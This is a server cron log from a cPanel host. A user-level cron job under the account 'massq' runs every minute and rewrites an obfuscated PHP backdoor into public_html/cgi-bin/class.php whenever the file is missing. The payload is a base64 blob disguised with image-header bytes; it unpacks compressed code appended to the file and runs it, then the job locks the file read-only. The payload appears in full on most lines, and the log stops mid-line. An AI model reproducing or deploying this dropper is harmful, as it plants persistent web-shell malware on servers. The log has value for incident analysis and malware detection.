Apr  7 01:38:01 server CROND[6925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:39:01 server CROND[6993]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 01:39:01 server CROND[6994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:40:01 server CROND[7056]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 01:40:01 server CROND[7057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:40:01 server CROND[7059]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:40:01 server CROND[7058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:41:01 server CROND[7162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:42:01 server CROND[7313]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 01:42:01 server CROND[7314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:43:01 server CROND[7366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:44:01 server CROND[7419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:45:01 server CROND[7493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:45:01 server CROND[7495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:45:01 server CROND[7496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:46:01 server CROND[7599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:47:01 server CROND[7749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:48:01 server CROND[7806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:49:01 server CROND[7863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:50:01 server CROND[7921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 01:50:01 server CROND[7923]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 01:50:01 server CROND[7922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:50:01 server CROND[7924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:50:01 server CROND[7929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:51:01 server CROND[8063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0l